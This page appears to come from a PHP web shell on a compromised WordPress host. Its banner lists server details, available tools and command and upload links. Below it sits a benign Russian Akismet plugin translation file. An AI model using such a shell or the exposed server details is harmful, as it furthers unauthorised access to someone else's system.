|
Server IP : 10.131.40.8 / Your IP : 216.73.216.15 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ludmqhh/www/jscom/../guillaume/wp-content/uploads/../languages/plugins/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# Translation of Plugins - Akismet Anti-Spam: Spam Protection - Stable (latest release) in Russian # This file is distributed under the same license as the Plugins - Akismet Anti-Spam: Spam Protection - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2023-04-25 12:56:18+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=(n % 10 == 1 && n % 100 != 11) ? 0 : ((n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 12 || n % 100 > 14)) ? 1 : 2);\n" "X-Generator: GlotPress/4.0.0-alpha.4\n" "Language: ru\n" "Project-Id-Version: Plugins - Akismet Anti-Spam: Spam Protection - Stable (latest release)\n" #. Author of the plugin msgid "Automattic - Anti Spam Team" msgstr "Automattic - Anti Spam Team" #. Plugin Name of the plugin msgid "Akismet Anti-Spam: Spam Protection" msgstr "Akismet Anti-Spam: Spam Protection" #: views/config.php:65 msgid "Akismet is active and ready to stop spam. Your site’s spam statistics will be displayed here." msgstr "Служба Akismet активна и готова бороться со спамом. Статистика спама на вашем сайте будет отображаться здесь." #: views/notice.php:32 msgid "WP-Cron has been disabled using the DISABLE_WP_CRON constant. Comment rechecks may not work properly." msgstr "WP-Cron отключен с помощью константы DISABLE_WP_CRON. Перепроверка комментариев может работать некорректно." #. translators: %1$s is a human-readable time difference, like "3 hours ago", #. and %2$s is an already-translated phrase describing how a comment's status #. changed, like "This comment was reported as spam." #: class.akismet-admin.php:689 msgid "%1$s - %2$s" msgstr "%1$s, %2$s" #: views/get.php:11 msgid "(opens in a new tab)" msgstr "(откроется в новой вкладке)" #. translators: The placeholder is the name of a subscription level, like #. "Plus" or "Enterprise" . #: views/notice.php:248 msgid "Upgrade to %s" msgstr "Обновить до %s" #: views/notice.php:243 msgid "Upgrade your Subscription Level" msgstr "Повысить уровень подписки" #: views/notice.php:204 views/notice.php:212 views/notice.php:220 #: views/notice.php:229 msgid "Learn more about usage limits." msgstr "Узнайте больше о лимитах использования." #. translators: The first placeholder is a date, the second is a (formatted) #. number, the third is another formatted number. #: views/notice.php:196 msgid "Since %1$s, your account made %2$s API calls, compared to your plan’s limit of %3$s." msgstr "Начиная с %1$s, с вашей учетной записи сделано %2$s API запросов, лимит по тарифу составляет %3$s." #: views/notice.php:226 msgid "Your Akismet usage has been over your plan’s limit for three consecutive months. We have restricted your account for the rest of the month. Upgrade your plan so Akismet can continue blocking spam." msgstr "Использование Akismet превысило предел допустимый тарифом в течении третьего месяца подряд. Мы ограничлили вашу учётную запись на остаток месяца. Перейдите на платный тариф, если хотите чтобы Akismet и далее блокировал спам." #: views/notice.php:217 msgid "Your Akismet usage is nearing your plan’s limit for the third consecutive month. We will restrict your account after you reach the limit. Upgrade your plan so Akismet can continue blocking spam." msgstr "Использование Akismet находится на грани допустимого тарифом в течении третьего месяца подряд. Нам придется ограничить вашу учётную запись при превышении лимита. Перейдите на платный тариф, если хотите чтобы Akismet и далее блокировал спам." #: views/notice.php:209 msgid "Your Akismet usage has been over your plan’s limit for two consecutive months. Next month, we will restrict your account after you reach the limit. Please consider upgrading your plan." msgstr "Использование Akismet превысило предел допустимый тарифом в течении двух месяцев подряд. При превышени лимита установленного тарифа в следующем месяце нам придется ограничить вашу учётную запись. Подумайте о переходе на другой тариф с расширенным лимитом." #: views/notice.php:183 msgid "Your account has been restricted" msgstr "Ваша учётная запись ограничена" #: views/notice.php:179 msgid "Your Akismet account usage is approaching your plan’s limit" msgstr "Использование Akismet с вашей учетной записи приближается к пределам тарифа" #: views/notice.php:176 msgid "Your Akismet account usage is over your plan’s limit" msgstr "Использование Akismet с вашей учетной записи превышает пределы допустимые тарифом" #. translators: The placeholder is a URL. #: views/notice.php:128 msgid "Please enter a new key or <a href=\"%s\" target=\"_blank\">contact Akismet support</a>." msgstr "Введите новый ключ или <a href=\"%s\" target=\"_blank\">обратитесь в службу поддержки Akismet</a>." #: views/notice.php:121 msgid "Your API key is no longer valid." msgstr "Ваш ключ API более недействителен." #: views/stats.php:4 msgid "Anti-Spam Settings" msgstr "Анти-спам настройки" #. translators: The placeholder is for showing how much of the process has #. completed, as a percent. e.g., "Checking for Spam (40%)" #: class.akismet-admin.php:418 msgid "Checking for Spam (%1$s%)" msgstr "Проверка на спам (%1$s%)" #: class.akismet-admin.php:705 msgid "No comment history." msgstr "Нет истории для комментария." #: class.akismet-admin.php:656 msgid "Akismet was unable to recheck this comment." msgstr "Akismet не смог перепроверить этот комментарий." #: class.akismet-admin.php:648 msgid "Akismet was unable to check this comment but will automatically retry later." msgstr "Akismet не смог проверить этот комментарий, но автоматически попробует еще раз позже." #. translators: The placeholder is a WordPress PHP function name. #: class.akismet-admin.php:617 msgid "Comment was caught by %s." msgstr "Комментарий пойман %s." #: class.akismet.php:675 msgid "Akismet is not configured. Please enter an API key." msgstr "Akismet не был сконфиругирован. Вам нужно ввести ключ API." #: views/enter.php:8 msgid "Enter your API key" msgstr "Введите ваш ключ API" #: views/connect-jp.php:66 msgid "Set up a different account" msgstr "Настроить другую учетную запись" #: views/setup.php:2 msgid "Set up your Akismet account to enable spam filtering on this site." msgstr "Настройте учетную запись Akismet для того, чтобы включить фильтрацию спама на сайте." #: class.akismet-admin.php:1140 msgid "Akismet could not recheck your comments for spam." msgstr "Плагину Akismet не удалось перепроверить ваши комментарии на наличие спама." #: class.akismet-admin.php:439 msgid "You don’t have permission to do that." msgstr "У вас недостаточно прав." #: class.akismet-cli.php:165 msgid "Stats response could not be decoded." msgstr "Ответ сервера статистики не может быть расшифрован." #: class.akismet-cli.php:159 msgid "Currently unable to fetch stats. Please try again." msgstr "На данный момент получение статистики невозможно. Попробуйте еще раз." #: class.akismet-cli.php:134 msgid "API key must be set to fetch stats." msgstr "Для получения статистики нужно установить ключ API." #: views/config.php:179 msgid "To help your site with transparency under privacy laws like the GDPR, Akismet can display a notice to your users under your comment forms. This feature is disabled by default, however, you can turn it on above." msgstr "Для соответствия вашего сайта законам о конфиденциальности типа GDPR, Akismet может показывать заметку для ваших посетителей под формами комментариев. По умолчанию это отключено, но вы можете включить это выше." #: views/config.php:177 msgid "Do not display privacy notice." msgstr "Не показывать заметку о конфиденциальности." #: views/config.php:176 msgid "Display a privacy notice under your comment forms." msgstr "Показывать заметку о конфиденциальности под формой комментария." #: views/config.php:175 msgid "Akismet privacy notice" msgstr "Уведомление о конфиденциальности Akismet" #: views/config.php:172 msgid "Privacy" msgstr "Конфиденциальность" #: class.akismet.php:1780 msgid "This site uses Akismet to reduce spam. <a href=\"%s\" target=\"_blank\" rel=\"nofollow noopener\">Learn how your comment data is processed</a>." msgstr "Этот сайт использует Akismet для борьбы со спамом. <a href=\"%s\" target=\"_blank\" rel=\"nofollow noopener\">Узнайте, как обрабатываются ваши данные комментариев</a>." #: class.akismet-admin.php:88 msgid "We collect information about visitors who comment on Sites that use our Akismet anti-spam service. The information we collect depends on how the User sets up Akismet for the Site, but typically includes the commenter's IP address, user agent, referrer, and Site URL (along with other information directly provided by the commenter such as their name, username, email address, and the comment itself)." msgstr "Мы собираем информацию о посетителях оставляющих комментарии на сайтах, которые используют наш анти-спам сервис. Собираемая информация зависит от настроек Akismet на конкретном сайте, но типично включает IP адрес комментатора, user-agent, ссылающийся URL, URL сайта, а также другая напрямую предоставленная комментатором информация, такая как имя, имя пользователя, адрес эл.почты и сам комментарий." #: class.akismet.php:312 msgid "Comment discarded." msgstr "Комментарий отброшен." #: class.akismet-rest-api.php:174 msgid "This site's API key is hardcoded and cannot be deleted." msgstr "API ключ для этого сайта задан жестко в коде и не может быть удален." #: class.akismet-rest-api.php:158 msgid "The value provided is not a valid and registered API key." msgstr "Заданное значение не является верным и зарегистрированным API ключом." #: class.akismet-rest-api.php:152 msgid "This site's API key is hardcoded and cannot be changed via the API." msgstr "API ключ для этого сайта задан жестко в коде и не может быть изменен через API." #: class.akismet-rest-api.php:71 class.akismet-rest-api.php:80 msgid "The time period for which to retrieve stats. Options: 60-days, 6-months, all" msgstr "Временной период для статистики. Настройки: 60-дней, 6-месяцев, всё" #: class.akismet-rest-api.php:56 msgid "If true, show the number of approved comments beside each comment author in the comments list page." msgstr "Если установлено, то в списке комментариев будет указано количество одобренных комментариев для каждого автора." #: class.akismet-rest-api.php:51 msgid "If true, Akismet will automatically discard the worst spam automatically rather than putting it in the spam folder." msgstr "Если установлено, Akismet автоматически будет удалять самый жуткий спам, не помещая его в папку спама." #: class.akismet-rest-api.php:27 class.akismet-rest-api.php:101 #: class.akismet-rest-api.php:114 class.akismet-rest-api.php:127 msgid "A 12-character Akismet API key. Available at akismet.com/get/" msgstr "12-символьный ключ API Akismet. Доступен на akismet.com/get/" #: views/notice.php:60 msgid "Your site can’t connect to the Akismet servers." msgstr "Ваш сайт не может подключиться к серверам Akismet." #. translators: %s is the wp-config.php file #: views/predefined.php:7 msgid "An Akismet API key has been defined in the %s file for this site." msgstr "Ключ API Akismet был определен для этого сайта в файле %s." #: views/predefined.php:2 msgid "Manual Configuration" msgstr "Ручная настройка" #: class.akismet-admin.php:236 msgid "On this page, you are able to update your Akismet settings and view spam stats." msgstr "На этой странице вы можете обновить настройки Akismet и посмотреть статистику спама." #. Description of the plugin msgid "Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet anti spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key." msgstr "Используемый миллионами, Akismet, вполне возможно, лучший способ в мире <strong>защитить свой блог от спама</strong>. Ваш сайт полностью настроен и защищен, даже когда вы спите. Для начала: активируйте плагин Akismet, а затем перейдите на страницу настроек Akismet, чтобы настроить ваш ключ API." #: class.akismet-admin.php:114 class.akismet-admin.php:117 msgid "Akismet Anti-Spam" msgstr "Akismet Anti-Spam" #: views/enter.php:9 msgid "Connect with API key" msgstr "Подключиться с помощью ключа API" #. translators: %s is the WordPress.com username #: views/connect-jp.php:23 views/connect-jp.php:58 msgid "You are connected as %s." msgstr "Вы подключены как %s." #: views/connect-jp.php:10 views/connect-jp.php:18 views/connect-jp.php:31 #: views/connect-jp.php:53 views/connect-jp.php:65 msgid "Connect with Jetpack" msgstr "Подключиться через Jetpack" #: views/connect-jp.php:12 views/connect-jp.php:25 views/connect-jp.php:48 msgid "Use your Jetpack connection to set up Akismet." msgstr "Используйте ваше соединение Jetpack для активации Akismet." #: views/title.php:2 msgid "Eliminate spam from your site" msgstr "Исключите спам на своем сайте" #: views/notice.php:112 msgid "Would you like to <a href=\"%s\">check pending comments</a>?" msgstr "Хотите <a href=\"%s\">проверить ожидающие комментарии</a>?" #: views/notice.php:110 msgid "Akismet is now protecting your site from spam. Happy blogging!" msgstr "Akismet теперь защищает ваш сайт от спама. Счастливого блоггинга!" #: views/notice.php:14 views/setup.php:3 msgid "Set up your Akismet account" msgstr "Настройте свою учетную запись Akismet" #: views/config.php:34 msgid "Detailed Stats" msgstr "Подробная статистика" #: views/config.php:28 msgid "Statistics" msgstr "Статистика" #: class.akismet-admin.php:1244 msgid "Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started, just go to <a href=\"admin.php?page=akismet-key-config\">your Akismet Settings page</a> to set up your API key." msgstr "Используемый миллионами, Akismet, вполне возможно, лучший способ в мире <strong>защитить свой блог от спама</strong>. Он защищает ваш сайт, даже когда вы спите. Чтобы начать работу, просто откройте <a href=\"admin.php?page=akismet-key-config\">страницу настроек Akismet</a>, чтобы настроить свой ключ API." #: class.akismet-admin.php:1241 msgid "Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Your site is fully configured and being protected, even while you sleep." msgstr "Используемый миллионами, Akismet, вполне возможно, лучший способ в мире <strong>защитить свой блог от спама</strong>. Ваш сайт полностью настроен и защищен, даже когда вы спите." #: class.akismet-admin.php:1133 msgid "%s comment was caught as spam." msgid_plural "%s comments were caught as spam." msgstr[0] "%s комментарий был помечен как спам." msgstr[1] "%s комментария были помечены как спам." msgstr[2] "%s комментариев были помечены как спам." #: class.akismet-admin.php:1130 msgid "No comments were caught as spam." msgstr "Спам комментариев нет." #: class.akismet-admin.php:1126 msgid "Akismet checked %s comment." msgid_plural "Akismet checked %s comments." msgstr[0] "Akismet проверил %s комментарий." msgstr[1] "Akismet проверил %s комментария." msgstr[2] "Akismet проверил %s комментариев." #: class.akismet-admin.php:1123 msgid "There were no comments to check. Akismet will only check comments awaiting moderation." msgstr "Нет комментариев для проверки. Akismet будет проверять только комментарии в очереди ожидания." #: class.akismet.php:681 msgid "Comment not found." msgstr "Комментарий не найден." #: class.akismet-cli.php:88 msgid "%d comment could not be checked." msgid_plural "%d comments could not be checked." msgstr[0] "%d комментарий не может быть проверен." msgstr[1] "%d комментария не могут быть проверены." msgstr[2] "%d комментариев не могут быть проверены." #: class.akismet-cli.php:85 msgid "%d comment moved to Spam." msgid_plural "%d comments moved to Spam." msgstr[0] "%d комментарий отправлен в Спам." msgstr[1] "%d комментария отправлены в Спам." msgstr[2] "%d комментариев отправлены в Спам." #: class.akismet-cli.php:84 msgid "Processed %d comment." msgid_plural "Processed %d comments." msgstr[0] "Обработан %d комментарий." msgstr[1] "Обработано %d комментария." msgstr[2] "Обработано %d комментариев." #: class.akismet-cli.php:46 msgid "Comment #%d could not be checked." msgstr "Комментарий #%d не может быть проверен." #: class.akismet-cli.php:43 msgid "Failed to connect to Akismet." msgstr "Соединение с Akismet не удалось." #: class.akismet-cli.php:39 msgid "Comment #%d is not spam." msgstr "Комментарий #%d — не спам." #: class.akismet-cli.php:36 msgid "Comment #%d is spam." msgstr "Комментарий #%d это спам." #: views/config.php:57 msgid "%s false positive" msgid_plural "%s false positives" msgstr[0] "%s ложное срабатывание" msgstr[1] "%s ложных срабатывания" msgstr[2] "%s ложных срабатываний" #: views/config.php:55 msgid "%s missed spam" msgid_plural "%s missed spam" msgstr[0] "%s пропущенный спам-комментарий" msgstr[1] "%s пропущенных спам-комментария" msgstr[2] "%s пропущенных спам-комментариев" #: views/notice.php:90 msgid "You don’t have an Akismet plan." msgstr "У вас ещё нет подписки Akismet." #: views/notice.php:75 msgid "Your Akismet subscription is suspended." msgstr "Ваша подписка Akismet приостановлена." #: views/notice.php:70 msgid "Your Akismet plan has been cancelled." msgstr "Ваша подписка Akismet отменена." #: views/notice.php:66 msgid "We cannot process your payment. Please <a href=\"%s\" target=\"_blank\">update your payment details</a>." msgstr "Не удалось обработать платёж. Пожалуйста, <a href=\"%s\" target=\"_blank\">обновите ваши платёжные данные</a>." #: views/notice.php:65 msgid "Please update your payment information." msgstr "Пожалуйста, обновите ваши платёжные данные." #: views/notice.php:17 msgid "<strong>Almost done</strong> - configure Akismet and say goodbye to spam" msgstr "<strong>Почти готово</strong> - настройте Akismet и попрощайтесь со спамом" #: class.akismet-admin.php:1051 msgid "Akismet has saved you %d minute!" msgid_plural "Akismet has saved you %d minutes!" msgstr[0] "Akismet сэкономил вам %d минуту!" msgstr[1] "Akismet сэкономил вам %d минуты!" msgstr[2] "Akismet сэкономил вам %d минут!" #: class.akismet-admin.php:1049 msgid "Akismet has saved you %d hour!" msgid_plural "Akismet has saved you %d hours!" msgstr[0] "Akismet сэкономил вам %d час!" msgstr[1] "Akismet сэкономил вам %d часа!" msgstr[2] "Akismet сэкономил вам %d часов!" #: class.akismet-admin.php:1047 msgid "Akismet has saved you %s day!" msgid_plural "Akismet has saved you %s days!" msgstr[0] "Akismet сэкономил вам %s день!" msgstr[1] "Akismet сэкономил вам %s дня!" msgstr[2] "Akismet сэкономил вам %s дней!" #: class.akismet-admin.php:184 class.akismet-admin.php:222 #: class.akismet-admin.php:235 msgid "Akismet filters out spam, so you can focus on more important things." msgstr "Akismet отфильтровывает спам, чтобы вы могли заняться более важными вещами." #. translators: The placeholder is a URL. #: views/notice.php:151 msgid "The connection to akismet.com could not be established. Please refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a> and check your server configuration." msgstr "Отсутствует соединение с akismet.com. Пожалуйста, посмотрите <a href=\"%s\" target=\"_blank\">нашу инструкцию по настройке файрвола</a> и проверьте параметры сервера." #: views/notice.php:144 msgid "The API key you entered could not be verified." msgstr "Не удалось проверить введённый ключ." #: views/notice.php:94 msgid "Please <a href=\"%s\" target=\"_blank\">contact our support team</a> with any questions." msgstr "Если у вас есть вопросы — пожалуйста, <a href=\"%s\" target=\"_blank\">свяжитесь с нашей службой поддержки</a>." #: views/notice.php:92 msgid "In 2012, Akismet began using subscription plans for all accounts (even free ones). A plan has not been assigned to your account, and we’d appreciate it if you’d <a href=\"%s\" target=\"_blank\">sign into your account</a> and choose one." msgstr "С 2012 года Akismet для всех учётных записей (включая бесплатные) использует подписки. Похоже, вашей учётной записи не была присвоена подписка. <a href=\"%s\" target=\"_blank\">Войдите в свою учётную запись</a> и выберите тип подписки." #: views/config.php:112 msgid "All systems functional." msgstr "Все системы работают." #: views/config.php:112 msgid "Enabled." msgstr "Включено." #: views/config.php:109 msgid "Akismet encountered a problem with a previous SSL request and disabled it temporarily. It will begin using SSL for requests again shortly." msgstr "Akismet обнаружил проблему при выполнении предыдущего SSL-запроса и временно отключил SSL. Через некоторое время Akismet снова будет использовать SSL для запросов." #: views/config.php:109 msgid "Temporarily disabled." msgstr "Временно отключено." #: views/config.php:103 msgid "Your Web server cannot make SSL requests; contact your Web host and ask them to add support for SSL requests." msgstr "Ваш сервер не может выполнять SSL-запросы; свяжитесь с вашим хостинг-провайдером и попросите их добавить поддержку SSL-запросов." #: views/config.php:103 msgid "Disabled." msgstr "Отключено." #: views/config.php:96 msgid "SSL Status" msgstr "Статус SSL" #: class.akismet-admin.php:634 msgid "This comment was reported as not spam." msgstr "Этот комментарий был помечен как не спам." #: class.akismet-admin.php:626 msgid "This comment was reported as spam." msgstr "Этот комментарий был помечен как спам." #. Author URI of the plugin msgid "https://automattic.com/wordpress-plugins/" msgstr "https://automattic.com/wordpress-plugins/" #. Plugin URI of the plugin msgid "https://akismet.com/" msgstr "https://akismet.com/" #: views/enter.php:2 msgid "Manually enter an API key" msgstr "Ввести API-ключ вручную" #: views/connect-jp.php:39 msgid "Contact Akismet support" msgstr "Связаться с поддержкой Akismet" #: views/connect-jp.php:45 msgid "No worries! Get in touch and we’ll sort this out." msgstr "Без паники! Свяжитесь с нами, и мы поможем решить эту проблему." #. translators: %s is the WordPress.com email address #: views/connect-jp.php:44 msgid "Your subscription for %s is suspended." msgstr "Ваша подписка для %s приостановлена." #. translators: %s is the WordPress.com email address #: views/connect-jp.php:36 msgid "Your subscription for %s is cancelled." msgstr "Ваша подписка для %s отменена." #: views/notice.php:117 msgid "The key you entered is invalid. Please double-check it." msgstr "Вы ввели неверный ключ. Пожалуйста, проверьте его." #: views/notice.php:85 msgid "There is a problem with your API key." msgstr "С вашим ключом возникла проблема." #: views/notice.php:81 msgid "You can help us fight spam and upgrade your account by <a href=\"%s\" target=\"_blank\">contributing a token amount</a>." msgstr "Вы можете помочь нам в борьбе со спамом и повысить уровень вашей учётной записи, <a href=\"%s\" target=\"_blank\">пожертвовав символическую сумму</a>." #: views/notice.php:76 views/notice.php:86 msgid "Please contact <a href=\"%s\" target=\"_blank\">Akismet support</a> for assistance." msgstr "Пожалуйста, свяжитесь со <a href=\"%s\" target=\"_blank\">службой поддержки Akismet</a>." #: views/notice.php:71 msgid "Please visit your <a href=\"%s\" target=\"_blank\">Akismet account page</a> to reactivate your subscription." msgstr "Пожалуйста, перейдите на страницу вашей <a href=\"%s\" target=\"_blank\">учётной записи Akismet</a>, чтобы повторно активировать подписку." #: views/notice.php:61 msgid "Your firewall may be blocking Akismet from connecting to its API. Please contact your host and refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a>." msgstr "Возможно ваш фаерволл блокирует Akismet от подключения к серверам API. Обратитесь в техническую поддержку хостинга и дайте ссылку на <a href=\"%s\" target=\"_blank\">наше руководство по фаерволлам</a>." #: views/notice.php:56 msgid "Your web host or server administrator has disabled PHP’s <code>gethostbynamel</code> function. <strong>Akismet cannot work correctly until this is fixed.</strong> Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet’s system requirements</a>." msgstr "Администратор вашего хостинга или сервера отключил PHP-функцию <code>gethostbynamel</code>. <strong>Akismet сможет корректно работать только после исправления этой проблемы.</strong> Пожалуйста, свяжитесь с администратором вашего хостинг-провайдера или файрвола и передайте ему <a href=\"%s\" target=\"_blank\">эту информацию о системных требованиях Akismet</a>." #: views/notice.php:55 msgid "Network functions are disabled." msgstr "Сетевые функции отключены." #. translators: the placeholder is a clickable URL that leads to more #. information regarding an error code. #: views/notice.php:41 msgid "For more information: %s" msgstr "Дополнительная информация: %s" #: views/notice.php:36 msgid "Akismet Error Code: %s" msgstr "Код ошибки Akismet: %s" #: views/notice.php:24 msgid "Some comments have not yet been checked for spam by Akismet. They have been temporarily held for moderation and will automatically be rechecked later." msgstr "Некоторые комментарии ещё не проверялись сервисом Akismet. Они временно помещены в очередь на модерацию и будут автоматически проверены позже." #: views/notice.php:23 views/notice.php:31 msgid "Akismet has detected a problem." msgstr "Akismet обнаружил проблему." #: views/config.php:250 msgid "Change" msgstr "Изменить" #: views/config.php:250 msgid "Upgrade" msgstr "Повысить уровень подписки" #: views/config.php:239 msgid "Next Billing Date" msgstr "Дата следующего платежа" #: views/config.php:233 msgid "Active" msgstr "Подписка активна" #: views/config.php:231 msgid "No Subscription Found" msgstr "Подписка не найдена" #: views/config.php:229 msgid "Missing" msgstr "Подписка отсутствует" #: views/config.php:227 msgid "Suspended" msgstr "Подписка приостановлена" #: views/config.php:225 msgid "Cancelled" msgstr "Подписка отменена" #: views/config.php:193 msgid "Save Changes" msgstr "Сохранить изменения" #: views/config.php:187 msgid "Disconnect this account" msgstr "Отключить эту учётную запись" #: views/config.php:158 msgid "Spam in the <a href=\"%1$s\">spam folder</a> older than 1 day is deleted automatically." msgid_plural "Spam in the <a href=\"%1$s\">spam folder</a> older than %2$d days is deleted automatically." msgstr[0] "Сообщения в <a href=\"%1$s\">папке спама</a> старше %2$d дня автоматически удаляются." msgstr[1] "Сообщения в <a href=\"%1$s\">папке спама</a> старше %2$d дней автоматически удаляются." msgstr[2] "Сообщения в <a href=\"%1$s\">папке спама</a> старше %2$d дней автоматически удаляются." #: views/config.php:152 msgid "Note:" msgstr "Примечание:" #: views/config.php:150 msgid "Always put spam in the Spam folder for review." msgstr "Всегда помещать спам в папку «Спам» для просмотра." #: views/config.php:149 msgid "Silently discard the worst and most pervasive spam so I never see it." msgstr "Автоматически отклонять очевидный спам, чтобы он не попадался на глаза." #: views/config.php:148 msgid "Akismet anti-spam strictness" msgstr "Режим защиты Akismet" #: views/config.php:139 msgid "Show the number of approved comments beside each comment author" msgstr "Отображать количество одобренных комментариев рядом с каждым автором" #: views/config.php:126 msgid "Show approved comments" msgstr "Показывать одобренные комментарии" #: views/config.php:53 msgid "Accuracy" msgstr "Точность" #: views/config.php:48 msgid "All time" msgstr "За всё время" #: views/config.php:45 views/config.php:50 msgid "Spam blocked" msgid_plural "Spam blocked" msgstr[0] "Спам заблокирован" msgstr[1] "Спама заблокировано" msgstr[2] "Спама заблокировано" #: views/config.php:43 msgid "Past six months" msgstr "За шесть месяцев" #: class.akismet.php:1539 msgid "Please <a href=\"%1$s\">upgrade WordPress</a> to a current version, or <a href=\"%2$s\">downgrade to version 2.4 of the Akismet plugin</a>." msgstr "Пожалуйста, <a href=\"%1$s\">обновите WordPress</a> до текущей версии, либо <a href=\"%2$s\">вернитесь к использованию Akismet версии 2.4</a>." #: class.akismet.php:1539 msgid "Akismet %s requires WordPress %s or higher." msgstr "Akismet %s требует WordPress %s или выше." #: class.akismet-admin.php:641 msgid "Akismet cleared this comment during an automatic retry." msgstr "Akismet одобрил этот комментарий при повторной проверке." #: class.akismet-admin.php:638 msgid "Akismet caught this comment as spam during an automatic retry." msgstr "Akismet пометил этот комментарий как спам при повторной проверке." #. translators: The placeholder is a username. #: class.akismet-admin.php:632 msgid "%s reported this comment as not spam." msgstr "Пользователь %s пометил этот комментарий как не спам." #. translators: The placeholder is a username. #: class.akismet-admin.php:624 msgid "%s reported this comment as spam." msgstr "Пользователь %s пометил этот комментарий как спам." #. translators: %1$s is a username; %2$s is a short string (like 'spam' or #. 'approved') denoting the new comment status. #: class.akismet-admin.php:671 msgid "%1$s changed the comment status to %2$s." msgstr "Пользователь %1$s изменил статус комментария на %2$s" #. translators: The placeholder is an error response returned by the API #. server. #: class.akismet-admin.php:646 msgid "Akismet was unable to check this comment (response: %s) but will automatically retry later." msgstr "Akismet не смог проверить этот комментарий (ответ: %s), позже будет предпринята повторная попытка." #: class.akismet-admin.php:611 msgid "Akismet cleared this comment." msgstr "Akismet одобрил этот комментарий." #. translators: The placeholder is a short string (like 'spam' or 'approved') #. denoting the new comment status. #: class.akismet-admin.php:665 msgid "Comment status was changed to %s" msgstr "Статус комментария был изменён на %s" #: class.akismet-admin.php:605 msgid "Akismet caught this comment as spam." msgstr "Akismet пометил этот комментарий как спам." #. translators: The placeholder is the number of pieces of spam blocked by #. Akismet. #: class.akismet-widget.php:108 msgid "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>" msgid_plural "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>" msgstr[0] "<strong>Akismet</strong> заблокировал <strong class=\"count\">%1$s спамера</strong>" msgstr[1] "<strong>Akismet</strong> заблокировал <strong class=\"count\">%1$s спамеров</strong>" msgstr[2] "<strong>Akismet</strong> заблокировал <strong class=\"count\">%1$s спамеров</strong>" #: class.akismet-widget.php:74 msgid "Title:" msgstr "Заголовок:" #: class.akismet-widget.php:69 class.akismet-widget.php:90 msgid "Spam Blocked" msgstr "Спам заблокирован" #: class.akismet-widget.php:13 msgid "Display the number of spam comments Akismet has caught" msgstr "Отображает количество комментариев, которые Akismet пометил как спам" #: class.akismet-widget.php:12 msgid "Akismet Widget" msgstr "Виджет Akismet" #: class.akismet-admin.php:1044 msgid "Cleaning up spam takes time." msgstr "Удаление спама занимает много времени." #. translators: The Akismet configuration page URL. #: class.akismet-admin.php:936 msgid "Please check your <a href=\"%s\">Akismet configuration</a> and contact your web host if problems persist." msgstr "Пожалуйста, перепроверьте <a href=\"%s\">настройки Akismet</a> и обратитесь к хостинг-провайдеру, если проблема не решится." #. translators: The placeholder is an amount of time, like "7 seconds" or "3 #. days" returned by the function human_time_diff(). #: class.akismet-admin.php:685 msgid "%s ago" msgstr "%s назад" #: class.akismet-admin.php:578 msgid "%s approved" msgid_plural "%s approved" msgstr[0] "%s одобрен" msgstr[1] "%s одобрены" msgstr[2] "%s одобрены" #: class.akismet-admin.php:555 msgid "History" msgstr "История" #: class.akismet-admin.php:555 class.akismet-admin.php:563 msgid "View comment history" msgstr "Посмотреть историю комментария" #: class.akismet-admin.php:543 msgid "Un-spammed by %s" msgstr "Помечен пользователем %s как не спам" #: class.akismet-admin.php:541 msgid "Flagged as spam by %s" msgstr "Помечен пользователем %s как спам" #: class.akismet-admin.php:537 msgid "Cleared by Akismet" msgstr "Одобрен плагином Akismet" #: class.akismet-admin.php:535 msgid "Flagged as spam by Akismet" msgstr "Помечен плагином Akismet как спам" #: class.akismet-admin.php:531 msgid "Awaiting spam check" msgstr "В ожидании проверки на спам" #. translators: The placeholder is an error response returned by the API #. server. #: class.akismet-admin.php:654 msgid "Akismet was unable to recheck this comment (response: %s)." msgstr "Akismet не смог перепроверить этот комментарий (ответ: %s)." #: class.akismet-admin.php:608 msgid "Akismet re-checked and cleared this comment." msgstr "Akismet перепроверил этот комментарий и одобрил его." #: class.akismet-admin.php:602 msgid "Akismet re-checked and caught this comment as spam." msgstr "Akismet перепроверил этот комментарий и пометил его как спам." #: class.akismet-admin.php:424 msgid "Check for Spam" msgstr "Проверить на спам" #: class.akismet-admin.php:377 msgid "There’s nothing in your <a href='%s'>spam queue</a> at the moment." msgstr "В настоящий момент <a href='%s'>очередь спама</a> пуста." #: class.akismet-admin.php:371 msgid "There’s <a href=\"%2$s\">%1$s comment</a> in your spam queue right now." msgid_plural "There are <a href=\"%2$s\">%1$s comments</a> in your spam queue right now." msgstr[0] "Сейчас в очереди спама <a href=\"%2$s\">%1$s комментарий</a>." msgstr[1] "Сейчас в очереди спама <a href=\"%2$s\">%1$s комментария</a>." msgstr[2] "Сейчас в очереди спама <a href=\"%2$s\">%1$s комментариев</a>." #: class.akismet-admin.php:365 msgid "<a href=\"%s\">Akismet</a> blocks spam from getting to your blog. " msgstr "<a href=\"%s\">Akismet</a> защищает ваш блог от спама. " #: class.akismet-admin.php:359 msgid "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comment already. " msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comments already. " msgstr[0] "<a href=\"%1$s\">Akismet</a> защитил ваш сайт от %2$s спам-комментария. " msgstr[1] "<a href=\"%1$s\">Akismet</a> защитил ваш сайт от %2$s спам-комментариев. " msgstr[2] "<a href=\"%1$s\">Akismet</a> защитил ваш сайт от %2$s спам-комментариев. " #: class.akismet-admin.php:349 msgid "<a 